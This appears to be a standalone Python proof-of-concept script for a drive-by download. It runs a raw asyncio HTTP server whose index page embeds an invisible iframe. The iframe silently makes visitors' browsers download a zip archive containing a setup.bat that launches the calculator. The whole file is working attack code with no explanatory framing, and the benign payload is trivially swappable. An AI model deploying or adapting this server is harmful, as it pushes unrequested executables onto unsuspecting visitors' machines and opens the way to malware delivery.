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| import asyncio | |
| import zipfile | |
| from io import BytesIO | |
| async def handler(r, w): | |
| line = await r.readline() | |
| try: | |
| method, path, version = line.split(b' ', 2) | |
| except: | |
| w.close() | |
| return | |
| # consume request | |
| while True: | |
| line = await r.readline() | |
| if not line or line == b'\r\n': | |
| break | |
| # dispatch | |
| if path == b'/': | |
| await handle_index(r, w) | |
| elif path == b'/asset': | |
| await handle_asset(r, w) | |
| w.close() | |
| async def handle_index(r, w): | |
| w.write(b'HTTP/1.1 200 OK\r\n') | |
| w.write(b'Content-Type: text/html; charset=utf-8\r\n') | |
| w.write(b'\r\n') | |
| w.write(b'<iframe style="visibility:hidden" src="/asset"></iframe>') | |
| await w.drain() | |
| async def handle_asset(r, w): | |
| w.write(b'HTTP/1.1 200 OK\r\n') | |
| w.write(b'Content-Type: application/octet-stream\r\n') | |
| w.write(b'Content-Disposition: attachment; filename="davy_was_here.zip"\r\n') | |
| w.write(b'\r\n') | |
| f = BytesIO() | |
| with zipfile.ZipFile(f, mode='w', compression=zipfile.ZIP_DEFLATED) as zf: | |
| zf.writestr('setup.bat', 'start calc') | |
| w.write(f.getvalue()) | |
| await w.drain() | |
| async def main(host='0.0.0.0', port=8666): | |
| s = await asyncio.start_server(handler, host, port) | |
| print('Serving at http://{}:{}'.format(host, port)) | |
| await s.serve_forever() | |
| try: | |
| asyncio.run(main()) | |
| except KeyboardInterrupt: | |
| pass |
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